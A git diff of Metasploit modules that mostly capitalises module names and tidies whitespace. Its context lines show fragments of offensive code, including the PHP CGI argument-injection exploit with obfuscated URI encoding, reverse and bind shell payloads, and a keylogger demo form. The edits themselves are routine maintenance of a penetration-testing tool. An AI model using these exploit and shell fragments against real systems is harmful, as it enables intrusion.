parent
7221420267
commit
b46fb260a6
|
@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'TikiWiki information disclosure',
|
||||
'Name' => 'TikiWiki Information Disclosure',
|
||||
'Description' => %q{
|
||||
A vulnerability has been reported in Tikiwiki, which can be exploited by
|
||||
a anonymous user to dump the MySQL user & passwd just by creating a mysql
|
||||
|
|
|
@ -23,8 +23,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(
|
||||
'Name' => 'VMWare Power On Virtual Machine',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to power on
|
||||
a specified Virtual Machine.},
|
||||
This module will log into the Web API of VMWare and try to power on
|
||||
a specified Virtual Machine.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
@ -36,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptString.new('VM', [true, "The VM to try to Power On"])
|
||||
], self.class)
|
||||
|
||||
|
||||
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
|
||||
end
|
||||
|
||||
|
@ -68,8 +69,4 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Webmin file disclosure',
|
||||
'Name' => 'Webmin File Disclosure',
|
||||
'Description' => %q{
|
||||
A vulnerability has been reported in Webmin and Usermin, which can be
|
||||
exploited by malicious people to disclose potentially sensitive information.
|
||||
|
|
|
@ -92,6 +92,4 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[ 'OSVDB', '71780' ],
|
||||
[ 'MSB', 'MS11-030' ]
|
||||
],
|
||||
'DisclosureDate' => 'April 12 2011')
|
||||
'DisclosureDate' => 'Apr 12 2011')
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
|
|
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2011-04.html' ],
|
||||
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5717' ],
|
||||
],
|
||||
'DisclosureDate' => '2011-03-01'))
|
||||
'DisclosureDate' => 'Mar 1 2011'))
|
||||
|
||||
register_options([
|
||||
OptInt.new('RPORT', [true, 'The destination port', 389]),
|
||||
|
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DNS and DNSSEC fuzzer',
|
||||
'Name' => 'DNS and DNSSEC Fuzzer',
|
||||
'Description' => %q{
|
||||
This module will connect to a DNS server and perform DNS and
|
||||
DNSSEC protocol-level fuzzing. Note that this module may inadvertently
|
||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
company = OUI_LIST::lookup_oui_company_name(reply.arp_saddr_mac)
|
||||
print_status("#{reply.arp_saddr_ip} appears to be up (#{company}).")
|
||||
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
|
||||
report_note(:host => reply.arp_saddr_ip, :type => "mac_oui", :data => company)
|
||||
report_note(:host => reply.arp_saddr_ip, :type => "mac_oui", :data => company)
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
company = OUI_LIST::lookup_oui_company_name(reply.arp_saddr_mac)
|
||||
print_status("#{reply.arp_saddr_ip} appears to be up (#{company}).")
|
||||
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
|
||||
report_note(:host => reply.arp_saddr_ip, :type => "mac_oui", :data => company)
|
||||
report_note(:host => reply.arp_saddr_ip, :type => "mac_oui", :data => company)
|
||||
end
|
||||
Kernel.select(nil, nil, nil, 0.50)
|
||||
end
|
||||
|
|
|
@ -70,7 +70,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
found = {}
|
||||
hosts.each do |dhost|
|
||||
|
||||
|
||||
probe = buildprobe(@shost, @smac, dhost)
|
||||
capture.inject(probe)
|
||||
while(reply = getreply())
|
||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def find_link_local(opts = {})
|
||||
shost = opts['SHOST'] || datastore['SHOST'] || ipv6_link_address
|
||||
hosts = opts['HOSTS'] || []
|
||||
smac = @smac
|
||||
smac = @smac
|
||||
timeout = opts['TIMEOUT_NEIGHBOR'] || datastore['TIMEOUT_NEIGHBOR']
|
||||
network_prefix = Rex::Socket.addr_aton(shost)[0,8]
|
||||
|
||||
|
|
|
@ -514,6 +514,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def probe_pkt_pca_nq(ip)
|
||||
return ["NQ", 5632]
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -437,7 +437,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# 2% 50%
|
||||
max_diff_perc = 2
|
||||
min_diff_perc = 50
|
||||
min_diff_perc = 50
|
||||
|
||||
if normalr and truer
|
||||
if falser
|
||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Pull Del.icio.us Links (URLs) for a domain',
|
||||
'Name' => 'Del.icio.us Domain Links (URLs) Enumerator',
|
||||
'Description' => %q{
|
||||
This module pulls and parses the URLs stored by Del.icio.us users for the
|
||||
purpose of replaying during a web assessment. Finding unlinked and old pages.
|
||||
|
|
|
@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Pull Archive.org stored URLs for a domain',
|
||||
'Name' => 'Archive.org Stored Domain URLs',
|
||||
'Description' => %q{
|
||||
This module pulls and parses the URLs stored by Archive.org for the purpose of
|
||||
replaying during a web assessment. Finding unlinked and old pages.
|
||||
|
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Http:BL lookup',
|
||||
'Name' => 'Http:BL Lookup',
|
||||
'Description' => %q{
|
||||
This module can be used to enumerate information
|
||||
about an IP addresses from Project HoneyPot's HTTP Block List.
|
||||
|
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache HTTPD mod_negotiation scanner',
|
||||
'Name' => 'Apache HTTPD mod_negotiation Scanner',
|
||||
'Description' => %q{
|
||||
This module scans the webserver of the given host(s) for the existence of mod_negotiate.
|
||||
If the webserver has mod_negotiation enabled, the IP address will be displayed.
|
||||
|
|
|
@ -24,9 +24,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'MS09-020 IIS6 WebDAV Unicode Authentication Bypass',
|
||||
'Description' => %q{
|
||||
This module attempts to to bypass authentication using the WebDAV IIS6
|
||||
This module attempts to to bypass authentication using the WebDAV IIS6
|
||||
Unicode vulnerability discovered by Kingcope. The vulnerability appears
|
||||
to be exploitable where WebDAV is enabled on the IIS6 server, and any
|
||||
to be exploitable where WebDAV is enabled on the IIS6 server, and any
|
||||
protected folder requires either Basic, Digest or NTLM authentication.
|
||||
},
|
||||
'Author' => [ 'et', 'patrick' ],
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HTTP Vuln scanner',
|
||||
'Name' => 'HTTP Vuln Scanner',
|
||||
'Description' => %q{
|
||||
This module identifies common vulnerable files or cgis.
|
||||
},
|
||||
|
|
|
@ -40,8 +40,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
deregister_options('PASSWORD')
|
||||
register_options( [
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
|
||||
register_options( [
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
|
|
@ -21,10 +21,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'pcAnywhere Login Scanner',
|
||||
'Name' => 'PcAnywhere Login Scanner',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{This module will test pcAnywhere logins on a range of machines and
|
||||
report successful logins.
|
||||
'Description' => %q{
|
||||
This module will test pcAnywhere logins on a range of machines and
|
||||
report successful logins.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'References' =>
|
||||
|
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'pcAnywhere TCP Service Discovery',
|
||||
'Name' => 'PcAnywhere TCP Service Discovery',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Discover active pcAnywhere services through TCP',
|
||||
'Author' => 'hdm',
|
||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'pcAnywhere UDP Service Discovery',
|
||||
'Name' => 'PcAnywhere UDP Service Discovery',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Discover active pcAnywhere services through UDP',
|
||||
'Author' => 'hdm',
|
||||
|
|
|
@ -47,10 +47,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Theory: Whene sending a modbus request of some sort, the endpoint will return
|
||||
# with at least the same transaction-id, and protocol-id
|
||||
if data
|
||||
if data
|
||||
if data[0,4] == "\x21\x00\x00\x00"
|
||||
print_good("#{ip}:#{rport} - MODBUS - received correct MODBUS/TCP header")
|
||||
else
|
||||
else
|
||||
print_error("#{ip}:#{rport} - MODBUS - received incorrect data #{data[0,4].inspect} (not modbus/tcp?)")
|
||||
end
|
||||
else
|
||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
def run_host(ip)
|
||||
soap_data =
|
||||
soap_data =
|
||||
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveServiceContent xmlns="urn:vim25">
|
||||
|
|
|
@ -55,7 +55,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_error "The Session is no longer Authenticated"
|
||||
else
|
||||
output = ''
|
||||
vim_sessions.each do |vsession|
|
||||
vim_sessions.each do |vsession|
|
||||
tmp_line = "Name: #{vsession['fullName']} \n\t"
|
||||
is_active = vim_session_is_active(vsession['key'],vsession['userName'])
|
||||
if is_active == :error
|
||||
|
|
|
@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
virtual_machines = vim_get_vms
|
||||
virtual_machines.each do |vm|
|
||||
virtual_machines.each do |vm|
|
||||
print_good YAML.dump(vm)
|
||||
report_note(
|
||||
:host => rhost,
|
||||
|
|
|
@ -207,12 +207,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
</head>
|
||||
<body bgcolor="white">
|
||||
<br><br>
|
||||
<div align="center">
|
||||
<div align="center">
|
||||
<h1>Keylogger Demo Form</h1>
|
||||
<form method=\"POST\" name=\"logonf\" action=\"#{base_url}/demo/?id=#{cid}\">
|
||||
<p><font color="red"><i>This form submits data to the Metasploit listener for demonstration purposes.</i></font>
|
||||
<br><br>
|
||||
<table border="0" cellspacing="0" cellpadding="0">
|
||||
<table border="0" cellspacing="0" cellpadding="0">
|
||||
<tr><td>Username:</td> <td><input name="username" size="20"></td> </tr>
|
||||
<tr><td>Password:</td> <td><input type="password" name="password" size="20"></td> </tr>
|
||||
</table>
|
||||
|
|
|
@ -17,10 +17,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Pcap replay utility',
|
||||
'Name' => 'Pcap Replay Utility',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
replay a pcap capture file
|
||||
Replay a pcap capture file
|
||||
},
|
||||
'Author' => 'amaloteaux',
|
||||
'License' => MSF_LICENSE
|
||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Airpwn TCP hijack',
|
||||
'Name' => 'Airpwn TCP Hijack',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
TCP streams are 'protected' only in so much as the sequence
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DNSpwn DNS hijack',
|
||||
'Name' => 'DNSpwn DNS Hijack',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
Race DNS responses and replace DNS queries
|
||||
|
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Encoder
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'PHP Base64 encoder',
|
||||
'Name' => 'PHP Base64 Encoder',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{
|
||||
This encoder returns a base64 string encapsulated in
|
||||
|
|
|
@ -29,8 +29,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
a system-defined manner" from the RFC) and then passes them to the CGI
|
||||
binary."
|
||||
},
|
||||
'Author' => [ 'egypt', 'hdm', #original msf exploit
|
||||
'jjarmoc' ], #added URI encoding obfuscation
|
||||
'Author' =>
|
||||
[
|
||||
'egypt', 'hdm', #original msf exploit
|
||||
'jjarmoc' #added URI encoding obfuscation
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' => [
|
||||
|
@ -99,9 +102,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
qs = args.join()
|
||||
uri = "#{target_uri}?#{qs}"
|
||||
|
||||
|
||||
#print_status("URI: #{target_uri}?#{qs}") # Uncomment to preview URI
|
||||
|
||||
|
||||
# Has to be all on one line, so gsub out the comments and the newlines
|
||||
payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
|
||||
response = send_request_cgi( {
|
||||
|
@ -123,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def create_arg(arg, val = nil)
|
||||
if val
|
||||
if val
|
||||
val = rand_encode(val)
|
||||
val.gsub!('=','%3d') # = must always be encoded
|
||||
val.gsub!('"','%22') # " too
|
||||
|
@ -143,26 +146,26 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# http://www.php.net/manual/en/features.commandline.options.php
|
||||
opt_equivs = {
|
||||
"-d" => [
|
||||
"#{rand_dash}#{rand_encode("d")}",
|
||||
"#{rand_dash}#{rand_encode("d")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("define")}"
|
||||
],
|
||||
"-s" => [
|
||||
"#{rand_dash}#{rand_encode("s")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlight")}",
|
||||
"#{rand_dash}#{rand_encode("s")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlight")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlighting")}"
|
||||
],
|
||||
],
|
||||
"-T" => [
|
||||
"#{rand_dash}#{rand_encode("T")}",
|
||||
"#{rand_dash}#{rand_encode("T")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("timing")}"
|
||||
],
|
||||
"-n" => [
|
||||
"#{rand_dash}#{rand_encode("n")}",
|
||||
"#{rand_dash}#{rand_encode("n")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("no-php-ini")}"
|
||||
]
|
||||
}
|
||||
|
||||
equivs = opt_equivs[opt]
|
||||
equivs ? equivs[rand(opt_equivs[opt].length)] : opt
|
||||
equivs ? equivs[rand(opt_equivs[opt].length)] : opt
|
||||
|
||||
end
|
||||
|
||||
|
@ -170,12 +173,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Randomly URI encode characters from string, up to max times.
|
||||
chars = [];
|
||||
if max > datastore["URIENCODING"] then max = datastore["URIENCODING"] end
|
||||
if string.length == 1
|
||||
if string.length == 1
|
||||
if rand(2) > 0
|
||||
chars << 0
|
||||
end
|
||||
else
|
||||
if max > 0
|
||||
else
|
||||
if max > 0
|
||||
max.times { chars << rand(string.length)}
|
||||
end
|
||||
end
|
||||
|
@ -194,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def rand_space
|
||||
datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+"
|
||||
end
|
||||
|
||||
|
||||
def rand_dash
|
||||
datastore["URIENCODING"] > 0 ? ["-","%2d","%2D"][rand(3)] : "-"
|
||||
end
|
||||
|
|
|
@ -106,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
user = resp[user_index+1].gsub(/\"/, "")
|
||||
pass = ""
|
||||
|
||||
|
||||
if pass_index
|
||||
pass = resp[pass_index+1].gsub(/\"/, "")
|
||||
end
|
||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Nop
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SPARC NOP generator',
|
||||
'Name' => 'SPARC NOP Generator',
|
||||
'Alias' => 'sparc_simple',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'SPARC NOP generator',
|
||||
|
|
|
@ -50,7 +50,7 @@ module Metasploit3
|
|||
))
|
||||
register_options([
|
||||
OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
|
||||
])
|
||||
])
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Bind TCP (via perl)',
|
||||
'Name' => 'Unix Command Shell, Bind TCP (via Perl)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection and spawn a command shell via perl',
|
||||
'Author' => ['Samy <samy@samy.pl>', 'cazz'],
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command, Generic command execution',
|
||||
'Name' => 'Unix Command, Generic Command Execution',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Executes the supplied command',
|
||||
'Author' => 'hdm',
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command, Interact with established connection',
|
||||
'Name' => 'Unix Command, Interact with Established Connection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Interacts with a shell on an established socket connection',
|
||||
'Author' => 'hdm',
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP (via perl)',
|
||||
'Name' => 'Unix Command Shell, Reverse TCP (via Perl)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Creates an interactive shell via perl',
|
||||
'Author' => 'cazz',
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Command Shell, Bind TCP (via perl)',
|
||||
'Name' => 'Windows Command Shell, Bind TCP (via Perl)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
|
||||
'Author' => ['Samy <samy@samy.pl>', 'cazz', 'patrick'],
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Command, Double reverse TCP connection (via perl)',
|
||||
'Name' => 'Windows Command, Double reverse TCP connection (via Perl)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Creates an interactive shell via perl',
|
||||
'Author' => ['cazz', 'patrick'],
|
||||
|
|
|
@ -28,7 +28,7 @@ module Metasploit3
|
|||
# We decoded skape's shellcode by using irb -r metasm-shell
|
||||
# and: puts shellcode.decode
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux Command Shell, Reverse TCP Inline - Metasm demo',
|
||||
'Name' => 'Linux Command Shell, Reverse TCP Inline - Metasm Demo',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||
'Author' => ['skape', 'Yoann Guillot', 'Julien Tinnes <julien[at]cr0.org>'],
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'PHP Command Shell, Bind TCP (via perl)',
|
||||
'Name' => 'PHP Command Shell, Bind TCP (via Perl)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
|
||||
'Author' => ['Samy <samy@samy.pl>', 'cazz'],
|
||||
|
|
|
@ -23,7 +23,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'PHP Command Shell, Bind TCP (via php)',
|
||||
'Name' => 'PHP Command Shell, Bind TCP (via PHP)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection and spawn a command shell via php',
|
||||
'Author' => ['egypt', 'diaul <diaul@devilopers.org>',],
|
||||
|
|
|
@ -23,7 +23,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'PHP Command, Double reverse TCP connection (via perl)',
|
||||
'Name' => 'PHP Command, Double reverse TCP connection (via Perl)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Creates an interactive shell via perl',
|
||||
'Author' => 'cazz',
|
||||
|
|
|
@ -23,7 +23,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'PHP Command Shell, Reverse TCP (via php)',
|
||||
'Name' => 'PHP Command Shell, Reverse TCP (via PHP)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Reverse PHP connect back shell with checks for disabled functions',
|
||||
'Author' => 'egypt',
|
||||
|
@ -66,7 +66,7 @@ module Metasploit3
|
|||
if Rex::Socket.is_ipv6?(ipaddr)
|
||||
uri = "tcp://[#{ipaddr}]"
|
||||
socket_family = "AF_INET6"
|
||||
end
|
||||
end
|
||||
|
||||
shell=<<-END_OF_PHP_CODE
|
||||
$ipaddr='#{ipaddr}';
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Unix TTY, Interact with established connection',
|
||||
'Name' => 'Unix TTY, Interact with Established Connection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Interacts with a TTY on an established socket connection',
|
||||
'Author' => 'hdm',
|
||||
|
|
|
@ -240,10 +240,10 @@ copy_piece_to_heap:
|
|||
rep movsb ; copy from ESI to EDI
|
||||
push edi ; save target for next copy
|
||||
push edi ; 2 more times to make sure it's at esp+8
|
||||
push edi ;
|
||||
push edi ;
|
||||
inc ebx ; increment sequence
|
||||
xchg #{bufferreg},edx ; restore start of heap
|
||||
jmp dnsquery ; try to get the next piece, if any
|
||||
jmp dnsquery ; try to get the next piece, if any
|
||||
|
||||
prepare_payload:
|
||||
mov #{bufferreg},edx
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Bind TCP stager',
|
||||
'Name' => 'Java Bind TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => [
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Reverse TCP stager',
|
||||
'Name' => 'Java Reverse TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect back stager',
|
||||
'Author' => [
|
||||
|
|
|
@ -22,7 +22,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'PHP Reverse TCP stager',
|
||||
'Name' => 'PHP Reverse TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Reverse PHP connect back stager with checks for disabled functions',
|
||||
'Author' => 'egypt',
|
||||
|
|
|
@ -65,7 +65,7 @@ module Metasploit3
|
|||
}
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
|
|
|
@ -29,7 +29,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X x86 iSight photo capture',
|
||||
'Name' => 'Mac OS X x86 iSight Photo Capture',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject a Mach-O bundle to capture a photo from the iSight (staged)',
|
||||
'Author' => 'ddz',
|
||||
|
|
|
@ -27,7 +27,7 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Meterpreter (skape/jt injection)',
|
||||
'Name' => 'Windows Meterpreter (skape/jt Injection)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Inject the meterpreter server DLL (staged)',
|
||||
'Author' => 'skape',
|
||||
|
|
|
@ -84,7 +84,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
apps.each do |a|
|
||||
output = which(env_paths, a)
|
||||
if output
|
||||
if output
|
||||
print_good("#{a} found: #{output}")
|
||||
|
||||
report_note(
|
||||
|
|
|
@ -79,10 +79,10 @@ class Metasploit3 < Msf::Post
|
|||
cmd = "/usr/bin/host "
|
||||
end
|
||||
while(not name_list.nil? and not name_list.empty?)
|
||||
1.upto(thread_num) do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, name_list.shift) do |n|
|
||||
next if n.nil?
|
||||
vprint_status("Trying #{n.strip}.#{domain}")
|
||||
1.upto(thread_num) do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, name_list.shift) do |n|
|
||||
next if n.nil?
|
||||
vprint_status("Trying #{n.strip}.#{domain}")
|
||||
r = cmd_exec(cmd, "#{n.strip}.#{domain}")
|
||||
|
||||
case session.platform
|
||||
|
@ -92,8 +92,8 @@ class Metasploit3 < Msf::Post
|
|||
process_nix(r, "#{n.strip}.#{domain}")
|
||||
end
|
||||
end
|
||||
a.map {|x| x.join }
|
||||
end
|
||||
a.map {|x| x.join }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -79,9 +79,9 @@ class Metasploit3 < Msf::Post
|
|||
cmd = "/usr/bin/host"
|
||||
end
|
||||
while(not iplst.nil? and not iplst.empty?)
|
||||
1.upto(thread_num) do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
|
||||
next if ip_add.nil?
|
||||
1.upto(thread_num) do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
|
||||
next if ip_add.nil?
|
||||
r = cmd_exec(cmd, " #{ip_add}")
|
||||
case platform
|
||||
when /win/
|
||||
|
@ -110,8 +110,8 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
end
|
||||
a.map {|x| x.join }
|
||||
end
|
||||
a.map {|x| x.join }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -94,7 +94,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
while(not srvrcd.nil? and not srvrcd.empty?)
|
||||
1.upto(thread_num) do
|
||||
1.upto(thread_num) do
|
||||
a << framework.threads.spawn("Module(#{self.refname})", false, srvrcd.shift) do |srv|
|
||||
next if srv.nil?
|
||||
r = cmd_exec(cmd, ns_opt + "#{srv}#{domain}")
|
||||
|
@ -116,7 +116,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
a.map {|x| x.join }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -112,7 +112,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
|
||||
def check_pidgin(purpledir)
|
||||
path = ""
|
||||
path = ""
|
||||
print_status("Checking for Pidgin profile in: #{purpledir}")
|
